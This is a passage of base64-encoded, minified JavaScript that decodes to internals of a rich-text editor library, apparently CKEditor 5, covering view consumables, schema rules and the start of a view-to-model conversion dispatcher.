NzZXM6bmV3IE1hcH19YWRkKHQpe2lmKHQubmFtZSl7dGhpcy5fY2FuQ29uc3VtZU5hbWU9dHJ1ZX1mb3IoY29uc3QgZSBpbiB0aGlzLl9jb25zdW1hYmxlcyl7aWYoZSBpbiB0KXt0aGlzLl9hZGQoZSx0W2VdKX19fXRlc3QodCl7aWYodC5uYW1lJiYhdGhpcy5fY2FuQ29uc3VtZU5hbWUpe3JldHVybiB0aGlzLl9jYW5Db25zdW1lTmFtZX1mb3IoY29uc3QgZSBpbiB0aGlzLl9jb25zdW1hYmxlcyl7aWYoZSBpbiB0KXtjb25zdCBuPXRoaXMuX3Rlc3QoZSx0W2VdKTtpZihuIT09dHJ1ZSl7cmV0dXJuIG59fX1yZXR1cm4gdHJ1ZX1jb25zdW1lKHQpe2lmKHQubmFtZSl7dGhpcy5fY2FuQ29uc3VtZU5hbWU9ZmFsc2V9Zm9yKGNvbnN0IGUgaW4gdGhpcy5fY29uc3VtYWJsZXMpe2lmKGUgaW4gdCl7dGhpcy5fY29uc3VtZShlLHRbZV0pfX19cmV2ZXJ0KHQpe2lmKHQubmFtZSl7dGhpcy5fY2FuQ29uc3VtZU5hbWU9dHJ1ZX1mb3IoY29uc3QgZSBpbiB0aGlzLl9jb25zdW1hYmxlcyl7aWYoZSBpbiB0KXt0aGlzLl9yZXZlcnQoZSx0W2VdKX19fV9hZGQodCxlKXtjb25zdCBuPVFlKGUpP2U6W2VdO2NvbnN0IGk9dGhpcy5fY29uc3VtYWJsZXNbdF07Zm9yKGNvbnN0IGUgb2Ygbil7aWYodD09PSJhdHRyaWJ1dGVzIiYmKGU9PT0iY2xhc3MifHxlPT09InN0eWxlIikpe3Rocm93IG5ldyBzc1siYSJdKCJ2aWV3Y29uc3VtYWJsZS1pbnZhbGlkLWF0dHJpYnV0ZSIsdGhpcyl9aS5zZXQoZSx0cnVlKTtpZih0PT09InN0eWxlcyIpe2Zvcihjb25zdCB0IG9mIHRoaXMuZWxlbWVudC5kb2N1bWVudC5zdHlsZXNQcm9jZXNzb3IuZ2V0UmVsYXRlZFN0eWxlcyhlKSl7aS5zZXQodCx0cnVlKX19fX1fdGVzdCh0LGUpe2NvbnN0IG49UWUoZSk/ZTpbZV07Y29uc3QgaT10aGlzLl9jb25zdW1hYmxlc1t0XTtmb3IoY29uc3QgZSBvZiBuKXtpZih0PT09ImF0dHJpYnV0ZXMiJiYoZT09PSJjbGFzcyJ8fGU9PT0ic3R5bGUiKSl7Y29uc3QgdD1lPT0iY2xhc3MiPyJjbGFzc2VzIjoic3R5bGVzIjtjb25zdCBuPXRoaXMuX3Rlc3QodCxbLi4udGhpcy5fY29uc3VtYWJsZXNbdF0ua2V5cygpXSk7aWYobiE9PXRydWUpe3JldHVybiBufX1lbHNle2NvbnN0IHQ9aS5nZXQoZSk7aWYodD09PXVuZGVmaW5lZCl7cmV0dXJuIG51bGx9aWYoIXQpe3JldHVybiBmYWxzZX19fXJldHVybiB0cnVlfV9jb25zdW1lKHQsZSl7Y29uc3Qgbj1RZShlKT9lOltlXTtjb25zdCBpPXRoaXMuX2NvbnN1bWFibGVzW3RdO2Zvcihjb25zdCBlIG9mIG4pe2lmKHQ9PT0iYXR0cmlidXRlcyImJihlPT09ImNsYXNzInx8ZT09PSJzdHlsZSIpKXtjb25zdCB0PWU9PSJjbGFzcyI/ImNsYXNzZXMiOiJzdHlsZXMiO3RoaXMuX2NvbnN1bWUodCxbLi4udGhpcy5fY29uc3VtYWJsZXNbdF0ua2V5cygpXSl9ZWxzZXtpLnNldChlLGZhbHNlKTtpZih0PT0ic3R5bGVzIil7Zm9yKGNvbnN0IHQgb2YgdGhpcy5lbGVtZW50LmRvY3VtZW50LnN0eWxlc1Byb2Nlc3Nvci5nZXRSZWxhdGVkU3R5bGVzKGUpKXtpLnNldCh0LGZhbHNlKX19fX19X3JldmVydCh0LGUpe2NvbnN0IG49UWUoZSk/ZTpbZV07Y29uc3QgaT10aGlzLl9jb25zdW1hYmxlc1t0XTtmb3IoY29uc3QgZSBvZiBuKXtpZih0PT09ImF0dHJpYnV0ZXMiJiYoZT09PSJjbGFzcyJ8fGU9PT0ic3R5bGUiKSl7Y29uc3QgdD1lPT0iY2xhc3MiPyJjbGFzc2VzIjoic3R5bGVzIjt0aGlzLl9yZXZlcnQodCxbLi4udGhpcy5fY29uc3VtYWJsZXNbdF0ua2V5cygpXSl9ZWxzZXtjb25zdCB0PWkuZ2V0KGUpO2lmKHQ9PT1mYWxzZSl7aS5zZXQoZSx0cnVlKX19fX19Y2xhc3Mgem17Y29uc3RydWN0b3IoKXt0aGlzLl9zb3VyY2VEZWZpbml0aW9ucz17fTt0aGlzLl9hdHRyaWJ1dGVQcm9wZXJ0aWVzPXt9O3RoaXMuZGVjb3JhdGUoImNoZWNrQ2hpbGQiKTt0aGlzLmRlY29yYXRlKCJjaGVja0F0dHJpYnV0ZSIpO3RoaXMub24oImNoZWNrQXR0cmlidXRlIiwoKHQsZSk9PntlWzBdPW5ldyBMbShlWzBdKX0pLHtwcmlvcml0eToiaGlnaGVzdCJ9KTt0aGlzLm9uKCJjaGVja0NoaWxkIiwoKHQsZSk9PntlWzBdPW5ldyBMbShlWzBdKTtlWzFdPXRoaXMuZ2V0RGVmaW5pdGlvbihlWzFdKX0pLHtwcmlvcml0eToiaGlnaGVzdCJ9KX1yZWdpc3Rlcih0LGUpe2lmKHRoaXMuX3NvdXJjZURlZmluaXRpb25zW3RdKXt0aHJvdyBuZXcgc3NbImEiXSgic2NoZW1hLWNhbm5vdC1yZWdpc3Rlci1pdGVtLXR3aWNlIix0aGlzLHtpdGVtTmFtZTp0fSl9dGhpcy5fc291cmNlRGVmaW5pdGlvbnNbdF09W09iamVjdC5hc3NpZ24oe30sZSldO3RoaXMuX2NsZWFyQ2FjaGUoKX1leHRlbmQodCxlKXtpZighdGhpcy5fc291cmNlRGVmaW5pdGlvbnNbdF0pe3Rocm93IG5ldyBzc1siYSJdKCJzY2hlbWEtY2Fubm90LWV4dGVuZC1taXNzaW5nLWl0ZW0iLHRoaXMse2l0ZW1OYW1lOnR9KX10aGlzLl9zb3VyY2VEZWZpbml0aW9uc1t0XS5wdXNoKE9iamVjdC5hc3NpZ24oe30sZSkpO3RoaXMuX2NsZWFyQ2FjaGUoKX1nZXREZWZpbml0aW9ucygpe2lmKCF0aGlzLl9jb21waWxlZERlZmluaXRpb25zKXt0aGlzLl9jb21waWxlKCl9cmV0dXJuIHRoaXMuX2NvbXBpbGVkRGVmaW5pdGlvbnN9Z2V0RGVmaW5pdGlvbih0KXtsZXQgZTtpZih0eXBlb2YgdD09InN0cmluZyIpe2U9dH1lbHNlIGlmKHQuaXMmJih0LmlzKCIkdGV4dCIpfHx0LmlzKCIkdGV4dFByb3h5IikpKXtlPSIkdGV4dCJ9ZWxzZXtlPXQubmFtZX1yZXR1cm4gdGhpcy5nZXREZWZpbml0aW9ucygpW2VdfWlzUmVnaXN0ZXJlZCh0KXtyZXR1cm4hIXRoaXMuZ2V0RGVmaW5pdGlvbih0KX1pc0Jsb2NrKHQpe2NvbnN0IGU9dGhpcy5nZXREZWZpbml0aW9uKHQpO3JldHVybiEhKGUmJmUuaXNCbG9jayl9aXNMaW1pdCh0KXtjb25zdCBlPXRoaXMuZ2V0RGVmaW5pdGlvbih0KTtpZighZSl7cmV0dXJuIGZhbHNlfXJldHVybiEhKGUuaXNMaW1pdHx8ZS5pc09iamVjdCl9aXNPYmplY3QodCl7Y29uc3QgZT10aGlzLmdldERlZmluaXRpb24odCk7aWYoIWUpe3JldHVybiBmYWxzZX1yZXR1cm4hIShlLmlzT2JqZWN0fHxlLmlzTGltaXQmJmUuaXNTZWxlY3RhYmxlJiZlLmlzQ29udGVudCl9aXNJbmxpbmUodCl7Y29uc3QgZT10aGlzLmdldERlZmluaXRpb24odCk7cmV0dXJuISEoZSYmZS5pc0lubGluZSl9aXNTZWxlY3RhYmxlKHQpe2NvbnN0IGU9dGhpcy5nZXREZWZpbml0aW9uKHQpO2lmKCFlKXtyZXR1cm4gZmFsc2V9cmV0dXJuISEoZS5pc1NlbGVjdGFibGV8fGUuaXNPYmplY3QpfWlzQ29udGVudCh0KXtjb25zdCBlPXRoaXMuZ2V0RGVmaW5pdGlvbih0KTtpZighZSl7cmV0dXJuIGZhbHNlfXJldHVybiEhKGUuaXNDb250ZW50fHxlLmlzT2JqZWN0KX1jaGVja0NoaWxkKHQsZSl7aWYoIWUpe3JldHVybiBmYWxzZX1yZXR1cm4gdGhpcy5fY2hlY2tDb250ZXh0TWF0Y2goZSx0KX1jaGVja0F0dHJpYnV0ZSh0LGUpe2NvbnN0IG49dGhpcy5nZXREZWZpbml0aW9uKHQubGFzdCk7aWYoIW4pe3JldHVybiBmYWxzZX1yZXR1cm4gbi5hbGxvd0F0dHJpYnV0ZXMuaW5jbHVkZXMoZSl9Y2hlY2tNZXJnZSh0LGU9bnVsbCl7aWYodCBpbnN0YW5jZW9mIEpoKXtjb25zdCBlPXQubm9kZUJlZm9yZTtjb25zdCBuPXQubm9kZUFmdGVyO2lmKCEoZSBpbnN0YW5jZW9mIHFoKSl7dGhyb3cgbmV3IHNzWyJhIl0oInNjaGVtYS1jaGVjay1tZXJnZS1uby1lbGVtZW50LWJlZm9yZSIsdGhpcyl9aWYoIShuIGluc3RhbmNlb2YgcWgpKXt0aHJvdyBuZXcgc3NbImEiXSgic2NoZW1hLWNoZWNrLW1lcmdlLW5vLWVsZW1lbnQtYWZ0ZXIiLHRoaXMpfXJldHVybiB0aGlzLmNoZWNrTWVyZ2UoZSxuKX1mb3IoY29uc3QgbiBvZiBlLmdldENoaWxkcmVuKCkpe2lmKCF0aGlzLmNoZWNrQ2hpbGQodCxuKSl7cmV0dXJuIGZhbHNlfX1yZXR1cm4gdHJ1ZX1hZGRDaGlsZENoZWNrKHQpe3RoaXMub24oImNoZWNrQ2hpbGQiLCgoZSxbbixpXSk9PntpZighaSl7cmV0dXJufWNvbnN0IG89dChuLGkpO2lmKHR5cGVvZiBvPT0iYm9vbGVhbiIpe2Uuc3RvcCgpO2UucmV0dXJuPW99fSkse3ByaW9yaXR5OiJoaWdoIn0pfWFkZEF0dHJpYnV0ZUNoZWNrKHQpe3RoaXMub24oImNoZWNrQXR0cmlidXRlIiwoKGUsW24saV0pPT57Y29uc3Qgbz10KG4saSk7aWYodHlwZW9mIG89PSJib29sZWFuIil7ZS5zdG9wKCk7ZS5yZXR1cm49b319KSx7cHJpb3JpdHk6ImhpZ2gifSl9c2V0QXR0cmlidXRlUHJvcGVydGllcyh0LGUpe3RoaXMuX2F0dHJpYnV0ZVByb3BlcnRpZXNbdF09T2JqZWN0LmFzc2lnbih0aGlzLmdldEF0dHJpYnV0ZVByb3BlcnRpZXModCksZSl9Z2V0QXR0cmlidXRlUHJvcGVydGllcyh0KXtyZXR1cm4gdGhpcy5fYXR0cmlidXRlUHJvcGVydGllc1t0XXx8e319Z2V0TGltaXRFbGVtZW50KHQpe2xldCBlO2lmKHQgaW5zdGFuY2VvZiBKaCl7ZT10LnBhcmVudH1lbHNle2NvbnN0IG49dCBpbnN0YW5jZW9mIGVmP1t0XTpBcnJheS5mcm9tKHQuZ2V0UmFuZ2VzKCkpO2U9bi5yZWR1Y2UoKCh0LGUpPT57Y29uc3Qgbj1lLmdldENvbW1vbkFuY2VzdG9yKCk7aWYoIXQpe3JldHVybiBufXJldHVybiB0LmdldENvbW1vbkFuY2VzdG9yKG4se2luY2x1ZGVTZWxmOnRydWV9KX0pLG51bGwpfXdoaWxlKCF0aGlzLmlzTGltaXQoZSkpe2lmKGUucGFyZW50KXtlPWUucGFyZW50fWVsc2V7YnJlYWt9fXJldHVybiBlfWNoZWNrQXR0cmlidXRlSW5TZWxlY3Rpb24odCxlKXtpZih0LmlzQ29sbGFwc2VkKXtjb25zdCBuPXQuZ2V0Rmlyc3RQb3NpdGlvbigpO2NvbnN0IGk9Wy4uLm4uZ2V0QW5jZXN0b3JzKCksbmV3IEdoKCIiLHQuZ2V0QXR0cmlidXRlcygpKV07cmV0dXJuIHRoaXMuY2hlY2tBdHRyaWJ1dGUoaSxlKX1lbHNle2NvbnN0IG49dC5nZXRSYW5nZXMoKTtmb3IoY29uc3QgdCBvZiBuKXtmb3IoY29uc3QgbiBvZiB0KXtpZih0aGlzLmNoZWNrQXR0cmlidXRlKG4uaXRlbSxlKSl7cmV0dXJuIHRydWV9fX19cmV0dXJuIGZhbHNlfSpnZXRWYWxpZFJhbmdlcyh0LGUpe3Q9Sm0odCk7Zm9yKGNvbnN0IG4gb2YgdCl7eWllbGQqdGhpcy5fZ2V0VmFsaWRSYW5nZXNGb3JSYW5nZShuLGUpfX1nZXROZWFyZXN0U2VsZWN0aW9uUmFuZ2UodCxlPSJib3RoIil7aWYodGhpcy5jaGVja0NoaWxkKHQsIiR0ZXh0Iikpe3JldHVybiBuZXcgZWYodCl9bGV0IG4saTtjb25zdCBvPXQuZ2V0QW5jZXN0b3JzKCkucmV2ZXJzZSgpLmZpbmQoKHQ9PnRoaXMuaXNMaW1pdCh0KSkpfHx0LnJvb3Q7aWYoZT09ImJvdGgifHxlPT0iYmFja3dhcmQiKXtuPW5ldyBRaCh7Ym91bmRhcmllczplZi5fY3JlYXRlSW4obyksc3RhcnRQb3NpdGlvbjp0LGRpcmVjdGlvbjoiYmFja3dhcmQifSl9aWYoZT09ImJvdGgifHxlPT0iZm9yd2FyZCIpe2k9bmV3IFFoKHtib3VuZGFyaWVzOmVmLl9jcmVhdGVJbihvKSxzdGFydFBvc2l0aW9uOnR9KX1mb3IoY29uc3QgdCBvZiAkbShuLGkpKXtjb25zdCBlPXQud2Fsa2VyPT1uPyJlbGVtZW50RW5kIjoiZWxlbWVudFN0YXJ0Ijtjb25zdCBpPXQudmFsdWU7aWYoaS50eXBlPT1lJiZ0aGlzLmlzT2JqZWN0KGkuaXRlbSkpe3JldHVybiBlZi5fY3JlYXRlT24oaS5pdGVtKX1pZih0aGlzLmNoZWNrQ2hpbGQoaS5uZXh0UG9zaXRpb24sIiR0ZXh0Iikpe3JldHVybiBuZXcgZWYoaS5uZXh0UG9zaXRpb24pfX1yZXR1cm4gbnVsbH1maW5kQWxsb3dlZFBhcmVudCh0LGUpe2xldCBuPXQucGFyZW50O3doaWxlKG4pe2lmKHRoaXMuY2hlY2tDaGlsZChuLGUpKXtyZXR1cm4gbn1pZih0aGlzLmlzTGltaXQobikpe3JldHVybiBudWxsfW49bi5wYXJlbnR9cmV0dXJuIG51bGx9cmVtb3ZlRGlzYWxsb3dlZEF0dHJpYnV0ZXModCxlKXtmb3IoY29uc3QgbiBvZiB0KXtpZihuLmlzKCIkdGV4dCIpKXtabSh0aGlzLG4sZSl9ZWxzZXtjb25zdCB0PWVmLl9jcmVhdGVJbihuKTtjb25zdCBpPXQuZ2V0UG9zaXRpb25zKCk7Zm9yKGNvbnN0IHQgb2YgaSl7Y29uc3Qgbj10Lm5vZGVCZWZvcmV8fHQucGFyZW50O1ptKHRoaXMsbixlKX19fX1jcmVhdGVDb250ZXh0KHQpe3JldHVybiBuZXcgTG0odCl9X2NsZWFyQ2FjaGUoKXt0aGlzLl9jb21waWxlZERlZmluaXRpb25zPW51bGx9X2NvbXBpbGUoKXtjb25zdCB0PXt9O2NvbnN0IGU9dGhpcy5fc291cmNlRGVmaW5pdGlvbnM7Y29uc3Qgbj1PYmplY3Qua2V5cyhlKTtmb3IoY29uc3QgaSBvZiBuKXt0W2ldPU9tKGVbaV0saSl9Zm9yKGNvbnN0IGUgb2Ygbil7Um0odCxlKX1mb3IoY29uc3QgZSBvZiBuKXtqbSh0LGUpfWZvcihjb25zdCBlIG9mIG4pe0ZtKHQsZSk7Vm0odCxlKX1mb3IoY29uc3QgZSBvZiBuKXtVbSh0LGUpO0htKHQsZSl9dGhpcy5fY29tcGlsZWREZWZpbml0aW9ucz10fV9jaGVja0NvbnRleHRNYXRjaCh0LGUsbj1lLmxlbmd0aC0xKXtjb25zdCBpPWUuZ2V0SXRlbShuKTtpZih0LmFsbG93SW4uaW5jbHVkZXMoaS5uYW1lKSl7aWYobj09MCl7cmV0dXJuIHRydWV9ZWxzZXtjb25zdCB0PXRoaXMuZ2V0RGVmaW5pdGlvbihpKTtyZXR1cm4gdGhpcy5fY2hlY2tDb250ZXh0TWF0Y2godCxlLG4tMSl9fWVsc2V7cmV0dXJuIGZhbHNlfX0qX2dldFZhbGlkUmFuZ2VzRm9yUmFuZ2UodCxlKXtsZXQgbj10LnN0YXJ0O2xldCBpPXQuc3RhcnQ7Zm9yKGNvbnN0IG8gb2YgdC5nZXRJdGVtcyh7c2hhbGxvdzp0cnVlfSkpe2lmKG8uaXMoImVsZW1lbnQiKSl7eWllbGQqdGhpcy5fZ2V0VmFsaWRSYW5nZXNGb3JSYW5nZShlZi5fY3JlYXRlSW4obyksZSl9aWYoIXRoaXMuY2hlY2tBdHRyaWJ1dGUobyxlKSl7aWYoIW4uaXNFcXVhbChpKSl7eWllbGQgbmV3IGVmKG4saSl9bj1KaC5fY3JlYXRlQWZ0ZXIobyl9aT1KaC5fY3JlYXRlQWZ0ZXIobyl9aWYoIW4uaXNFcXVhbChpKSl7eWllbGQgbmV3IGVmKG4saSl9fX1fcyh6bSxKYyk7Y2xhc3MgTG17Y29uc3RydWN0b3IodCl7aWYodCBpbnN0YW5jZW9mIExtKXtyZXR1cm4gdH1pZih0eXBlb2YgdD09InN0cmluZyIpe3Q9W3RdfWVsc2UgaWYoIUFycmF5LmlzQXJyYXkodCkpe3Q9dC5nZXRBbmNlc3RvcnMoe2luY2x1ZGVTZWxmOnRydWV9KX1pZih0WzBdJiZ0eXBlb2YgdFswXSE9InN0cmluZyImJnRbMF0uaXMoImRvY3VtZW50RnJhZ21lbnQiKSl7dC5zaGlmdCgpfXRoaXMuX2l0ZW1zPXQubWFwKFFtKX1nZXQgbGVuZ3RoKCl7cmV0dXJuIHRoaXMuX2l0ZW1zLmxlbmd0aH1nZXQgbGFzdCgpe3JldHVybiB0aGlzLl9pdGVtc1t0aGlzLl9pdGVtcy5sZW5ndGgtMV19W1N5bWJvbC5pdGVyYXRvcl0oKXtyZXR1cm4gdGhpcy5faXRlbXNbU3ltYm9sLml0ZXJhdG9yXSgpfXB1c2godCl7Y29uc3QgZT1uZXcgTG0oW3RdKTtlLl9pdGVtcz1bLi4udGhpcy5faXRlbXMsLi4uZS5faXRlbXNdO3JldHVybiBlfWdldEl0ZW0odCl7cmV0dXJuIHRoaXMuX2l0ZW1zW3RdfSpnZXROYW1lcygpe3lpZWxkKnRoaXMuX2l0ZW1zLm1hcCgodD0+dC5uYW1lKSl9ZW5kc1dpdGgodCl7cmV0dXJuIEFycmF5LmZyb20odGhpcy5nZXROYW1lcygpKS5qb2luKCIgIikuZW5kc1dpdGgodCl9c3RhcnRzV2l0aCh0KXtyZXR1cm4gQXJyYXkuZnJvbSh0aGlzLmdldE5hbWVzKCkpLmpvaW4oIiAiKS5zdGFydHNXaXRoKHQpfX1mdW5jdGlvbiBPbSh0LGUpe2NvbnN0IG49e25hbWU6ZSxhbGxvd0luOltdLGFsbG93Q29udGVudE9mOltdLGFsbG93V2hlcmU6W10sYWxsb3dBdHRyaWJ1dGVzOltdLGFsbG93QXR0cmlidXRlc09mOltdLGluaGVyaXRUeXBlc0Zyb206W119O0dtKHQsbik7V20odCxuLCJhbGxvd0luIik7V20odCxuLCJhbGxvd0NvbnRlbnRPZiIpO1dtKHQsbiwiYWxsb3dXaGVyZSIpO1dtKHQsbiwiYWxsb3dBdHRyaWJ1dGVzIik7V20odCxuLCJhbGxvd0F0dHJpYnV0ZXNPZiIpO1dtKHQsbiwiaW5oZXJpdFR5cGVzRnJvbSIpO0ttKHQsbik7cmV0dXJuIG59ZnVuY3Rpb24gUm0odCxlKXtmb3IoY29uc3QgbiBvZiB0W2VdLmFsbG93Q29udGVudE9mKXtpZih0W25dKXtjb25zdCBpPXFtKHQsbik7aS5mb3JFYWNoKCh0PT57dC5hbGxvd0luLnB1c2goZSl9KSl9fWRlbGV0ZSB0W2VdLmFsbG93Q29udGVudE9mfWZ1bmN0aW9uIGptKHQsZSl7Zm9yKGNvbnN0IG4gb2YgdFtlXS5hbGxvd1doZXJlKXtjb25zdCBpPXRbbl07aWYoaSl7Y29uc3Qgbj1pLmFsbG93SW47dFtlXS5hbGxvd0luLnB1c2goLi4ubil9fWRlbGV0ZSB0W2VdLmFsbG93V2hlcmV9ZnVuY3Rpb24gRm0odCxlKXtmb3IoY29uc3QgbiBvZiB0W2VdLmFsbG93QXR0cmlidXRlc09mKXtjb25zdCBpPXRbbl07aWYoaSl7Y29uc3Qgbj1pLmFsbG93QXR0cmlidXRlczt0W2VdLmFsbG93QXR0cmlidXRlcy5wdXNoKC4uLm4pfX1kZWxldGUgdFtlXS5hbGxvd0F0dHJpYnV0ZXNPZn1mdW5jdGlvbiBWbSh0LGUpe2NvbnN0IG49dFtlXTtmb3IoY29uc3QgZSBvZiBuLmluaGVyaXRUeXBlc0Zyb20pe2NvbnN0IGk9dFtlXTtpZihpKXtjb25zdCB0PU9iamVjdC5rZXlzKGkpLmZpbHRlcigodD0+dC5zdGFydHNXaXRoKCJpcyIpKSk7Zm9yKGNvbnN0IGUgb2YgdCl7aWYoIShlIGluIG4pKXtuW2VdPWlbZV19fX19ZGVsZXRlIG4uaW5oZXJpdFR5cGVzRnJvbX1mdW5jdGlvbiBVbSh0LGUpe2NvbnN0IG49dFtlXTtjb25zdCBpPW4uYWxsb3dJbi5maWx0ZXIoKGU9PnRbZV0pKTtuLmFsbG93SW49QXJyYXkuZnJvbShuZXcgU2V0KGkpKX1mdW5jdGlvbiBIbSh0LGUpe2NvbnN0IG49dFtlXTtuLmFsbG93QXR0cmlidXRlcz1BcnJheS5mcm9tKG5ldyBTZXQobi5hbGxvd0F0dHJpYnV0ZXMpKX1mdW5jdGlvbiBHbSh0LGUpe2Zvcihjb25zdCBuIG9mIHQpe2NvbnN0IHQ9T2JqZWN0LmtleXMobikuZmlsdGVyKCh0PT50LnN0YXJ0c1dpdGgoImlzIikpKTtmb3IoY29uc3QgaSBvZiB0KXtlW2ldPW5baV19fX1mdW5jdGlvbiBXbSh0LGUsbil7Zm9yKGNvbnN0IGkgb2YgdCl7aWYodHlwZW9mIGlbbl09PSJzdHJpbmciKXtlW25dLnB1c2goaVtuXSl9ZWxzZSBpZihBcnJheS5pc0FycmF5KGlbbl0pKXtlW25dLnB1c2goLi4uaVtuXSl9fX1mdW5jdGlvbiBLbSh0LGUpe2Zvcihjb25zdCBuIG9mIHQpe2NvbnN0IHQ9bi5pbmhlcml0QWxsRnJvbTtpZih0KXtlLmFsbG93Q29udGVudE9mLnB1c2godCk7ZS5hbGxvd1doZXJlLnB1c2godCk7ZS5hbGxvd0F0dHJpYnV0ZXNPZi5wdXNoKHQpO2UuaW5oZXJpdFR5cGVzRnJvbS5wdXNoKHQpfX19ZnVuY3Rpb24gcW0odCxlKXtjb25zdCBuPXRbZV07cmV0dXJuIFltKHQpLmZpbHRlcigodD0+dC5hbGxvd0luLmluY2x1ZGVzKG4ubmFtZSkpKX1mdW5jdGlvbiBZbSh0KXtyZXR1cm4gT2JqZWN0LmtleXModCkubWFwKChlPT50W2VdKSl9ZnVuY3Rpb24gUW0odCl7aWYodHlwZW9mIHQ9PSJzdHJpbmciKXtyZXR1cm57bmFtZTp0LCpnZXRBdHRyaWJ1dGVLZXlzKCl7fSxnZXRBdHRyaWJ1dGUoKXt9fX1lbHNle3JldHVybntuYW1lOnQuaXMoImVsZW1lbnQiKT90Lm5hbWU6IiR0ZXh0IiwqZ2V0QXR0cmlidXRlS2V5cygpe3lpZWxkKnQuZ2V0QXR0cmlidXRlS2V5cygpfSxnZXRBdHRyaWJ1dGUoZSl7cmV0dXJuIHQuZ2V0QXR0cmlidXRlKGUpfX19fWZ1bmN0aW9uKiRtKHQsZSl7bGV0IG49ZmFsc2U7d2hpbGUoIW4pe249dHJ1ZTtpZih0KXtjb25zdCBlPXQubmV4dCgpO2lmKCFlLmRvbmUpe249ZmFsc2U7eWllbGR7d2Fsa2VyOnQsdmFsdWU6ZS52YWx1ZX19fWlmKGUpe2NvbnN0IHQ9ZS5uZXh0KCk7aWYoIXQuZG9uZSl7bj1mYWxzZTt5aWVsZHt3YWxrZXI6ZSx2YWx1ZTp0LnZhbHVlfX19fX1mdW5jdGlvbipKbSh0KXtmb3IoY29uc3QgZSBvZiB0KXt5aWVsZCplLmdldE1pbmltYWxGbGF0UmFuZ2VzKCl9fWZ1bmN0aW9uIFptKHQsZSxuKXtmb3IoY29uc3QgaSBvZiBlLmdldEF0dHJpYnV0ZUtleXMoKSl7aWYoIXQuY2hlY2tBdHRyaWJ1dGUoZSxpKSl7bi5yZW1vdmVBdHRyaWJ1dGUoaSxlKX19fWNsYXNzIFhte2NvbnN0cnVjdG9yKHQ9e30pe3RoaXMuX3NwbGl0UGFydHM9bmV3IE1hcDt0aGlzLl9jdXJzb3JQYXJlbnRzPW5ldyBNYXA7dGhpcy5fbW9kZWxDdXJzb3I9bnVsbDt0aGlzLmNvbnZlcnNpb25BcGk9T2JqZWN0LmFzc2lnbih7fSx0KTt0aGlzLmNvbnZlcnNpb25BcGkuY29udmVydEl0ZW09dGhpcy5fY29udmVydEl0ZW0uYmluZCh0aGlzKTt0aGlzLmNvbnZlcnNpb25BcGkuY29udmVydENoaWxkcmVuPXRoaXMuX2NvbnZlcnRDaGlsZHJlbi5iaW5kKHRoaXMpO3RoaXMuY29udmVyc2lvbkFwaS5zYWZlSW5zZXJ0PXRoaXMuX3NhZmVJbnNlcnQuYmluZCh0aGlzKTt0aGlzLmNvbnZlcnNpb25BcGkudXBkYXRlQ29udmVyc2lvblJlc3VsdD10aGlzLl91cGRhdGVDb252ZXJzaW9uUmVzdWx0LmJpbmQodGhpcyk7dGhpcy5jb252ZXJzaW9uQXBpLnNwbGl0VG9BbGxvd2VkUGFyZW50PXRoaXMuX3NwbGl0VG9BbGxvd2VkUGFyZW50LmJpbmQodGhpcyk7dGhpcy5jb252ZXJzaW9uQXBpLmdldFNwbGl0UGFydHM9dGhpcy5fZ2V0U3BsaXRQYXJ0cy5iaW5kKHRoaXMpfWNvbnZlcnQodCxlLG49WyIkcm9vdCJdKXt0aGlzLmZpcmUoInZpZXdDbGVhbnVwIix0KTt0aGlzLl9tb2RlbEN1cnNvcj1lZyhuLGUpO3RoaXMuY29udmVyc2lvbkFwaS53cml0ZXI9ZTt0aGlzLmNvbnZlcnNpb25BcGkuY29uc3VtYWJsZT1CbS5jcmVhdGVGcm9tKHQpO3RoaXMuY29udmVyc2lvbkFwaS5zdG9yZT17fTtjb25zdHttb2RlbFJhbmdlOml9PXRoaXMuX2NvbnZlcnRJdGVtKHQsdGhpcy5fbW9kZWxDdXJzb3IpO2NvbnN0IG89ZS5jcmVhdGVEb2N1bWVudEZyYWdtZW50KCk7aWYoaSl7dGhpcy5fcmVtb3ZlRW1wdHlFbGVtZW50cygpO2Zvcihjb25zdCB0IG9mIEFycmF5LmZyb20odGhpcy5fbW9kZWxDdXJzb3IucGFyZW50LmdldENoaWxkcmVuKCkpKXtlLmFwcGVuZCh0LG8pfW8ubWFya2Vycz10ZyhvLGUpfXRoaXMuX21vZGVsQ3Vyc29yPW51bGw7dGhpcy5fc3BsaXRQYXJ0cy5jbGVhcigpO3RoaXMuX2N1cnNvclBhcmVudHMuY2xlYXIoKTt0aGlzLmNvbnZlcnNpb25BcGkud3JpdGVyPW51bGw7dGhpcy5jb252ZXJzaW9uQXBpLnN0b3JlPW51bGw7cmV0dXJuIG99X2NvbnZlcnRJdGVtKHQsZSl7Y29uc3Qgbj1PYmplY3QuYXNzaWduKHt2aWV3SXRlbTp0LG1vZGVsQ3Vyc29yOmUsbW9kZWxSYW5nZTpudWxsfSk7aWYodC5pcygiZWxlbWVudCIpKXt0aGlzLmZpcmUoImVsZW1lbnQ6Iit0Lm5hbWUsbix0aGlzLmNvbnZlcnNpb25BcGkpfWVsc2UgaWYodC5pcygiJHRleHQiKSl7dGhpcy5maXJlKCJ0ZXh0IixuLHRoaXMuY29udmVyc2lvbkFwaSl9ZWxzZXt0aGlzLmZpcmUoImRvY3VtZW50RnJhZ21lbnQiLG4sdGhpcy5jb252ZXJzaW9uQXBpKX1pZihuLm1vZGVsUmFuZ2UmJiEobi5tb2RlbFJhbmdlIGluc3RhbmNlb2YgZWYpKXt0aHJvdyBuZXcgc3NbImEiXSgidmlldy1jb252ZXJzaW9uLWRpc3BhdGNoZXItaW5jb3JyZWN0LXJlc3VsdCIsdGhpcyl9cmV0dXJue21vZGVsUmFuZ2U6bi5tb2RlbFJhbmdlLG1vZGVsQ3Vyc29yOm4ubW9kZWxDdXJzb3J9fV9jb252ZXJ0Q2hpbGRyZW4odCxlKXtsZXQgbj1lLmlzKCJwb3NpdGlvbiIpP2U6SmguX2NyZWF0ZUF0KGUsMCk7Y29uc3QgaT1uZXcgZWYobik7Zm9yKGNvbnN0IGUgb2YgQXJyYXkuZnJvbSh0LmdldENoaWxkcmVuKCkpKXtjb25zdCB0PXRoaXMuX2NvbnZlcnRJdGVtKGUsbik7aWYodC5tb2RlbFJhbmdlIGluc3RhbmNlb2YgZWYpe2kuZW5kPXQubW9kZWxSYW5nZS5lbmQ7bj10Lm1vZGVsQ3Vyc29yfX1yZXR1cm57bW9kZWxSYW5nZTppLG1vZGVsQ3Vyc29yOm59fV9zYWZlSW5zZXJ0KHQsZSl7Y29uc3Qgbj10aGlzLl9zcGxpdFRvQWxsb3dlZFBhcmVudCh0LGUpO2lmKCFuKXtyZXR1cm4gZmFsc2V9dGhpcy5jb252ZXJzaW9uQXBpLndyaXR